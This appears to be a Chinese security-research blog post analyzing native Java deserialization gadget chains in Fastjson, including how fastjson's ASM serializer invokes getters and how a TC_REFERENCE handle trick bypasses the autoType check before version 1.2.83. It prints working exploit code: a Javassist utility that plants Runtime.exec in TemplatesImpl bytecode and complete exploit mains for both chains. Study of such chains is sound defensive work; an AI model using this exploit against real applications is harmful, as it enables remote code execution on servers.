Skip to content

JavaSec 12-Fastjson原生反序列化及绕过

约 2760 字大约 9 分钟

Java

2025-04-10

前言

依然是炒冷饭环节,已经被研究烂了但是先知还有人发 ,不过还是可以学到不少新东西,加强下对于反序列化流程的理解

面对高版本 autotype 难以利用的情况下,尝试选择原生的反序列化,触发 toString 再触发任意 getter 的方法十分好用。

既然是原生反序列化,寻找 implements Serializable 的类,JSONArray 与 JSONObject,利用起来差不多,但是似乎用 JSONArray 的更多一些。

Fastjson <1.2.48

先放一个工具类,我现在非常喜欢工具类

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;

public class Util {

    /**
     * 序列化对象为 Base64 字符串,并打印 URL 编码后的结果。
     *
     * @param obj 需要序列化的对象,必须实现 Serializable 接口
     */
    public static void printURLEncodedBase64SerializedString(Object obj) {
        try {
            // 1. 将对象序列化成字节数组
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(obj);
            oos.close();

            byte[] serializedBytes = baos.toByteArray();

            // 2. Base64 编码
            String base64 = Base64.getEncoder().encodeToString(serializedBytes);

            // 3. URL 编码
            String urlEncoded = URLEncoder.encode(base64, "UTF-8");

            // 4. 打印输出
//            System.out.println("Base64:");
//            System.out.println(base64);
            System.out.println("\nURL-Encoded Base64:");
            System.out.println(urlEncoded);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void setFieldValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }
    public static Field getField( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if (field != null)
                field.setAccessible(true);
            else if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        } catch (NoSuchFieldException e) {
            if (!clazz.getSuperclass().equals(Object.class)) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }
    public static byte[] file2ByteArray(String filePath) throws IOException {
        InputStream in = new FileInputStream(filePath);
        byte[] data = inputStream2ByteArray(in);
        in.close();
        return data;
    }
    public static byte[] inputStream2ByteArray(InputStream in) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        byte[] buffer = new byte[4096];
        int n;
        while((n = in.read(buffer)) != -1) {
            out.write(buffer, 0, n);
        }
        return out.toByteArray();
    }
    public static byte[] genPayload(String cmd) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }
    public static TemplatesImpl getTemplatesImpl(byte[] code) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Util.setFieldValue(templates, "_bytecodes", new byte[][]{code});
        Util.setFieldValue(templates, "_name", "name");
        Util.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }
    public static SignedObject getSingnedObject(Serializable obj) throws Exception {
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(obj, privateKey, signingEngine);
        return signedObject;
    }
    public static void deserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    public static byte[] serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
    public static void checkUnserialize(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(obj);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

然后是 exp,简化完长得像伪代码一样,但是感觉能把重心聚焦在逻辑上而不是反射构造

    public static void main(String[] args) throws Exception{
        Templates templates = Util.getTemplatesImpl(Util.genPayload("calc"));
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Util.setFieldValue(val, "val", jsonArray);
        Util.checkUnserialize(val);
    }

在这个版本下虽然 JSONArray 有 Serializable 接口但是自己或者父类没有重载readObject 方法,只能去作为链路的一部分去使用,触发链条就是 Json 类的 toString->toJSONString->get,下面简要分析一下为什么会触发 get(说实话分析完还不是很懂)

先看一眼调用栈

image-20250410140711870

image-20250410140744194

进到这里面去 write itemSerializer,看一下怎么提取出来的属性

image-20250410140817539

先判断 serializers 这个 HashMap 当中有无默认映射

image-20250410141234361

在后面创建了一个 JavaBeanSerializer

image-20250410141447587

再跟进到 buildJavaBeanSerializer

image-20250410143301255

我这里用的图是调 getObject 的图,原理都一样,先倒着看最后返回的结果,发现在这里就完成了对 get 方法的获取

image-20250410143236309

进去调一下发现是在这个解析方法里取到 get 方法,具体的不想看了(

image-20250410144005335

然后会进到 createASMSerializer 去处理 beaninfo,通过 ASM 动态创建一个类

image-20250410144454770

getter 方法的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod当中

image-20250410144953889

会根据字段的类型调用不同的方法处理

image-20250410150605211

找一种方法进去看一下

image-20250410153755561

通过 _get 方法生成读取 filed 的方法,最终调用方法的get方法

image-20250410153834955

呃但其实还是得 heapdump 一下看看 ASM 的东西 arthas快速入门,我这里不知道为什么 win 上面没成功,放到 wsl 去做了

把之前 exp 改一下方便把工具注入进去,工具太牛逼了,可惜我晚生几年没有参与 contribute 的机会

public static void main(String[] args) throws Exception{
        Templates templates = Util.getTemplatesImpl(Util.genPayload("whoami"));
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Util.setFieldValue(val, "val", jsonArray);
        try{
            Util.checkUnserialize(val);
        }catch (Exception e){}
        while(true){}
    }
jad com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl write

ASMSerializer_1_TemplatesImpl 这个类很长,看到调用的其实是他的 write 方法,我们 dump 一个 write 方法分析就好

public void write(JSONSerializer jSONSerializer, Object object, Object object2, Type type, int n) throws IOException {
    ObjectSerializer objectSerializer;
    if (object == null) {
        jSONSerializer.writeNull();
        return;
    }
    SerializeWriter serializeWriter = jSONSerializer.out;
    if (!this.writeDirect(jSONSerializer)) {
        this.writeNormal(jSONSerializer, object, object2, type, n);
        return;
    }
    if (serializeWriter.isEnabled(32768)) {
        this.writeDirectNonContext(jSONSerializer, object, object2, type, n);
        return;
    }
    TemplatesImpl templatesImpl = (TemplatesImpl)object;
    if (this.writeReference(jSONSerializer, object, n)) {
        return;
    }
    if (serializeWriter.isEnabled(0x200000)) {
        this.writeAsArray(jSONSerializer, object, object2, type, n);
        return;
    }
    SerialContext serialContext = jSONSerializer.getContext();
    jSONSerializer.setContext(serialContext, object, object2, 0);
    int n2 = 123;
    String string = "outputProperties";
    Object object3 = templatesImpl.getOutputProperties();
    if (object3 == null) {
        if (serializeWriter.isEnabled(964)) {
            serializeWriter.write(n2);
            serializeWriter.writeFieldNameDirect(string);
            serializeWriter.writeNull(0, 0);
            n2 = 44;
        }
    } else {
        serializeWriter.write(n2);
        serializeWriter.writeFieldNameDirect(string);
        if (object3.getClass() == Properties.class) {
            if (this.outputProperties_asm_ser_ == null) {
                this.outputProperties_asm_ser_ = jSONSerializer.getObjectWriter(Properties.class);
            }
            if ((objectSerializer = this.outputProperties_asm_ser_) instanceof JavaBeanSerializer) {
                ((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
            } else {
                objectSerializer.write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
            }
        } else {
            jSONSerializer.writeWithFieldName(object3, string, this.outputProperties_asm_fieldType, 0);
        }
        n2 = 44;
    }
    string = "stylesheetDOM";
    if (!serializeWriter.isEnabled(0x2000000)) {
        object3 = templatesImpl.getStylesheetDOM();
        if (object3 == null) {
            if (serializeWriter.isEnabled(964)) {
                serializeWriter.write(n2);
                serializeWriter.writeFieldNameDirect(string);
                serializeWriter.writeNull(0, 0);
                n2 = 44;
            }
        } else {
            serializeWriter.write(n2);
            serializeWriter.writeFieldNameDirect(string);
            if (object3.getClass() == DOM.class) {
                if (this.stylesheetDOM_asm_ser_ == null) {
                    this.stylesheetDOM_asm_ser_ = jSONSerializer.getObjectWriter(DOM.class);
                }
                if ((objectSerializer = this.stylesheetDOM_asm_ser_) instanceof JavaBeanSerializer) {
                    ((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
                } else {
                    objectSerializer.write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
                }
            } else {
                jSONSerializer.writeWithFieldName(object3, string, this.stylesheetDOM_asm_fieldType, 0);
            }
            n2 = 44;
        }
    }
    string = "transletIndex";
    int n3 = templatesImpl.getTransletIndex();
    serializeWriter.writeFieldValue((char)n2, string, n3);
    n2 = 44;
    if (n2 == 123) {
        serializeWriter.write(123);
    }
    serializeWriter.write(125);
    jSONSerializer.setContext(serialContext);
}

了解如何调用任意 get 方法之后,回到主线逻辑,很简单就是一个

BadAttributeValueExpException#readObject
	Json#toString
		toJSONString
			TemplatesImpl#getOutputProperties

Fastjson <1.2.83

反序列化流程及旧版本失效原因

在1.49开始,JSONArray 以及 JSONObject 有了自己的 readObject ,套了一层看似安全的 SecureObjectInputStream,还有个 resolveClass ,也就是我们在还原 JSONArray 对象时候会去调用他的 readObject 方法,然后会因为里面的检查导致

autoType is not support. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

image-20250411122355634

image-20250411203158578

那有没有什么办法可以绕过对于 templates 的检查呢,也就是能不能不经过那个 resolveClass 里面的检查?有的有的

这个我们得先到反序列化底层一点的逻辑去思考一下,比如研究一下为什么会被 checkAutoType 拦截

在这里先放一个之前版本失败的反序列化流程分析图,但我并没有写第三步嵌套进去的 templates ,因为和第二步一样,只不过去在调用 resolveClass 时候被 check 而已,以后不用这 processon 作图了,没米充会员

未命名文件

说实话做完图已经不想再一步步把过程和截图放上来了,把重点部分拿出来说下好了,想看调试就看他的fastjson原生链分析,有的地方说的有点瑕疵,问题不大

首先是进来 readObject0 ,根据传进来的对象走到对应的对象分支,这里讲一下分支都是什么(偷懒直接用别人的了)

image-20250411145331243

try {
            switch (tc) {
                case TC_NULL:
                    return readNull();

                case TC_REFERENCE:
                    return readHandle(unshared);

                case TC_CLASS:
                    return readClass(unshared);

                case TC_CLASSDESC:
                case TC_PROXYCLASSDESC:
                    return readClassDesc(unshared);

                case TC_STRING:
                case TC_LONGSTRING:
                    return checkResolve(readString(unshared));

                case TC_ARRAY:
                    return checkResolve(readArray(unshared));

                case TC_ENUM:
                    return checkResolve(readEnum(unshared));

                case TC_OBJECT:
                    return checkResolve(readOrdinaryObject(unshared));

                case TC_EXCEPTION:
                    IOException ex = readFatalException();
                    throw new WriteAbortedException("writing aborted", ex);

                case TC_BLOCKDATA:
                case TC_BLOCKDATALONG:
                    if (oldMode) {
                        bin.setBlockDataMode(true);
                        bin.peek();             // force header read
                        throw new OptionalDataException(
                            bin.currentBlockRemaining());
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected block data");
                    }

                case TC_ENDBLOCKDATA:
                    if (oldMode) {
                        throw new OptionalDataException(true);
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected end of block data");
                    }

                default:
                    throw new StreamCorruptedException(
                        String.format("invalid type code: %02X", tc));
            }
        } finally {
            depth--;
            bin.setBlockDataMode(oldMode);
        }
  • TC_OBJECT: 表示流中接下来是一个新的普通对象实例。会调用 readOrdinaryObject()

  • TC_CLASS: 表示流中接下来是一个 java.lang.Class 对象。会调用 readClass()

  • TC_CLASSDESC: 表示流中接下来是一个 类描述符 (ObjectStreamClass) 的数据。会调用 readClassDesc()

  • TC_PROXYCLASSDESC: 表示流中接下来是一个动态代理类的描述符。会调用 readProxyDesc()

  • TC_STRING, TC_LONGSTRING: 表示字符串。会调用 readString()readLongUTF()

  • TC_ARRAY: 表示数组。会调用 readArray()

  • TC_ENUM: 表示枚举常量。会调用 readEnum()

  • TC_NULL: 表示一个 null 引用。直接返回 null

  • TC_REFERENCE: 表示对流中先前已读取对象的 反向引用 (句柄)。会调用 readHandle() 来获取缓存的对象。

  • TC_EXCEPTION: 表示序列化的异常。会调用 readFatalException()

  • TC_BLOCKDATA, TC_BLOCKDATALONG: 表示原始数据块(通常在自定义 readObject 方法中使用)。会调用 readBlockHeader()

  • TC_RESET: 表示流重置标记。会处理流状态重置。

  • TC_ENDBLOCKDATA: 表示原始数据块的结束。

TC_REFERENCE是重点,稍后说

通过 readOrdinaryObject -> readClassDesc -> readNonProxyDesc -> readNonProxy 去读取流里面的反序列化数据,比如类名,serialVersionUID ,字段数量类型和名称等,最后封装成一个 ObjectStreamClass 对象,赋值给 readDesc 变量然后 return 回去

image-20250411145538026

image-20250411145756564

image-20250411145857750

image-20250411150015441

拿到 desc 之后回到 readOrdinaryObject 去调用 readSerialData

image-20250411152430640

如果我们有自己重写 readObject,则调用 slotDesc.invokeReadObject(obj, this);若没有,则调用 defaultReadFields 填充数据。 很显然 BadAttributeValueException 还有之后的 JSONArray 都是重写了 readObject 方法的

为什么之后在还原过程中会被 check 到呢,就是因为那个 SecureObjectInputStream 重写了 resolveClass 方法,所以这里不在执行 ObjectInputStream#resolveClass 默认的方法了,而是会先执行 JSONObject.SecureObjectInputStream#resolveClass 方法,最后再去 ObjectInputStream#resolveClass 返回类

image-20250411151022089

绕过

TC_REFERENCE: 表示对流中先前已读取对象的 反向引用 (句柄)。会调用 readHandle() 来获取缓存的对象。

TC_REFERENCE,是引用类型。序列化后的数据其实相当繁琐,多层嵌套很容易搞乱,在恢复对象的时候也不太容易。于是就有了引用这个东西,他可以引用在此之前已经出现过的对象。

当我们在 JSONArray (ArrayList) 中的类是 普通的类(TC_OBJECT)时 readObject0() 就会去执行 readOrdinaryObject => readNonProxyDesc() => SecureObjectInputStream#resolveClass => checkAutoType()

那么如果不是普通类 而是利用引用的特性(TC_REFERENCE) 不就可以绕过 checkAutoType() 的执行了吗,反序列化出 TemplateImpl 进而去执行后边的 toString 调用 getter 方法,实现恶意类执行

这里直接上最后的 exp 了,通过 hashmap 包装一下,先去反序列化 key:templates,存在句柄里,后面还原 JSONArray 时候直接走到TC_REFERENCE 分支绕过检查

public static void main(String[] args) throws Exception{
        TemplatesImpl templates = Util.getTemplatesImpl(Util.genPayload("calc"));

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd,"val",jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates,bd);
        Util.checkUnserialize(hashMap);
}

后记

写的有点晕了后面,找点时间再完善一下

参考文章

https://xz.aliyun.com/news/17659

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson与原生反序列化-二/